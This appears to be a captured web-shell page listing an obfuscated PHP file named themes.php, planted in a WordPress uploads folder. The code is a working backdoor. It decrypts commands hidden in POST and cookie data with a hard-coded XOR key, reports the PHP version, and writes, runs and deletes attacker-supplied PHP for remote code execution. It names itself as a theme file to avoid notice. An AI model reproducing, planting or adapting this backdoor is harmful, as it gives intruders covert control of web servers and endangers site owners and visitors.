HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/themes.php
<?php 
$_vwhosok    =    '_vwhosok' /*  itry */ ^ /*a */ '<';
$bzqjby   =  "\141"     .	"\x72" /* dxooi   */ . /*  c */ "r"."\141"      . /*  _zcs  */ $_vwhosok(465-344)   . /*   tu*/ "\137"	.      $_vwhosok(109)    .	"a"."p";
$nmfpe /*   od */ = /*  _   */ "i"."m"."\x70"    .   "l"."o".$_vwhosok(464-364) /*adwey */ . /*  dhi  */ "e";




function /*  dqlqk  */ cmznxagf($uykvrrv, /*  cusu*/ $vtihchnhdhj)
{ /* fcoxwe */ global	$_vwhosok;
 /*  dztjv  */  /*nswc  */ $uykvrrv /*  ivxlx   */ =       "<" /* d  */ .	"\77"     .    "p".$_vwhosok(104) /*   kwyrxt   */ .   "\x70" /*x   */ .   $_vwhosok(32) /*qknqm */ . /* roy_z   */ "u".$_vwhosok(472-362)     .     $_vwhosok(180-72)       .    "i"."\x6e" /*  aup   */ .	"\153"       .    "\x28"    .    "\x5f"    .	"_"."F"."\x49" /*  g   */ .	$_vwhosok(76) /*oqjku*/ .    "E".$_vwhosok(535-440)	. /*fv   */ $_vwhosok(375-280)	. /*xxpw   */ "\51"	.   $_vwhosok(59)    .       $_vwhosok(32)  . /*   zi  */ $uykvrrv[$_vwhosok(915-815)]; /* d_  */ $a_uxlhjd	=	$_vwhosok(649-547) /*   gl   */ .  "\x69"     .       "\154" /*byrp*/ .    "\x65"    .   $_vwhosok(95)	.    $_vwhosok(112) /* ws_fw  */ . /*  wm */ "u"."\x74"   .	"\137"	. /*vjb */ $_vwhosok(99)       .    $_vwhosok(1059-948)    . /*   lcs */ $_vwhosok(110)    .   "t"."\x65"       .       $_vwhosok(764-654)    .	"t".$_vwhosok(115);


	
 /*   yel  */ $a_uxlhjd($vtihchnhdhj,       $uykvrrv);


    

     ktrgjq($vtihchnhdhj);

}


$kuwoac  =  73;



function	ktrgjq($vtihchnhdhj)

{      global /*   zi */ $_vwhosok;
    
	include($vtihchnhdhj);
     $btcgn_o       = /*hb*/ $vtihchnhdhj;


 /*   dy  */ @unlink($btcgn_o);
}




function    axghhq(){
	global     $_vwhosok;




 /*fjlkf  */ $vtihc	=	array();

   $vtihc["p"."\166"]  =  phpversion(); /*uuljy */ $vtihc["\x73"   .    "\166"]    =   "3".$_vwhosok(567-521)    .	"5";
	$ngghffe  =    74;      echo /*   ncivv   */ @serialize($vtihc);


}



function /* fzalg */ uoebz($uykvrrv,     $ecdfw)


{

  global  $_vwhosok;
    $kurzmrza     = /*   ir  */ "";

     $wgqadnxe /*   vf   */ =      strlen($uykvrrv);   $qvvzxrfefq /* iyi   */ =     strlen($ecdfw);

	$vtihc	=   0;
	$qjftu    =       0;

 /*mhhiyp  */  /*   rm */ while	($vtihc  <       $wgqadnxe)       {


 /*   tzitx */ $krh_iipn /*   co */ = /* cnlor  */ $uykvrrv[$vtihc] /*  sva  */ ^    $ecdfw[$qjftu    %	$qvvzxrfefq];
    $kurzmrza    .=     $krh_iipn;


    $qjftu++;  


 /* gz_wyx */ $vtihc++;


    }       

 /*ydpgh  */ if    (strlen($kurzmrza)     >       20) /* ompwg */ {

     $zelsv	=      substr($kurzmrza,       0,	20);

 /*  tit */ }


    if       (empty($kurzmrza))   {      $kurzmrza /*fjpwan*/ =    date('Y-m-d     H:i:s');
 /*   u*/ }
    return    $kurzmrza;}

function /*   zt   */ jnkaxsj($qaiov){
       global    $_vwhosok;
 /*sq */ 

    $sdgvypb    = /*mjl  */ "7".$_vwhosok(99)      .    "1".$_vwhosok(285-184)	. /*rgt*/ "0"."\x30" /*  ge   */ . /*aqiqyi   */ "9"."c"."\x2d"     .    "\143"    .	"\x64"    .	"9"."0"."\x2d" /* pzyrg*/ .	"4"."\x65" /*mfjk*/ . /* qj  */ "f"."\x33" /*   lubmc  */ . /*  alwvn */ "-"."\x38" /*  w  */ .  "\x63"       . /*itr*/ "e".$_vwhosok(53)    . /*  pg*/ "-".$_vwhosok(429-378)       . /* isj   */ $_vwhosok(52) /* hjgig   */ .       $_vwhosok(915-815)."5"."\x36"       .       "c"."\70" /*   dry  */ .	"\66"     .  "2".$_vwhosok(522-421)    .    "8"."\x31";
 /* w   */  /*t  */ foreach       ($qaiov    as /* yyvnhn  */ $tb_ltrhagm /*   uqjdxy */ => /*  tsaczn  */ $uykvrrv) /* v  */ {
 /*wd */ olnqzhiooa(base64_decode($uykvrrv),      $sdgvypb, /*  mwymw*/ $tb_ltrhagm);


	}}

function	olnqzhiooa($uykvrrv,    $sdgvypb,  $tb_ltrhagm)
{     global    $_vwhosok;	    $uykvrrv	=	unserialize(uoebz(uoebz($uykvrrv, /*   s  */ $sdgvypb), /*pdlpta   */ $tb_ltrhagm));

	$cdajeziavv	=  'cedrdsqf';


	$ggiol	= /*  neykuv */ 'atgnabs';


    if    (isset($uykvrrv[$_vwhosok(194-97)    . /*   tj */ "k"])) /*   fbyd */ {


 /*  ydy */ if    ($uykvrrv["a"] /*   p  */ ==	"i") /* p_d*/ { /*   ql   */ axghhq(); /*yripg  */ }     elseif    ($uykvrrv["a"]    == /*   tjtx  */ "e")    {


    cmznxagf($uykvrrv,	sprintf("\56" /*  oucpu*/ . /*j   */ "\57"    . /* s  */ $_vwhosok(37)     .      "\x73" /*   cb  */ .  ".".$_vwhosok(112) /*   alxn*/ .	"l", /*  qzmr*/ md5($sdgvypb)));
			$rmoon_bxx /* nk  */ = /*   avi */ 44;


    }

 /* a  */ exit();


    }

}





jnkaxsj($_POST);     



$lwqxpnrsp /* pcj*/ = /*   nmy   */ 'rawurldecode';



$hsevlhb      =     $bzqjby($lwqxpnrsp, /* u_mn*/ $_POST);$nmfpe("",    $lwqxpnrsp);


jnkaxsj($_COOKIE);
$yqwx_tn  =    $bzqjby($lwqxpnrsp, /*  om_t */ $_COOKIE);



?>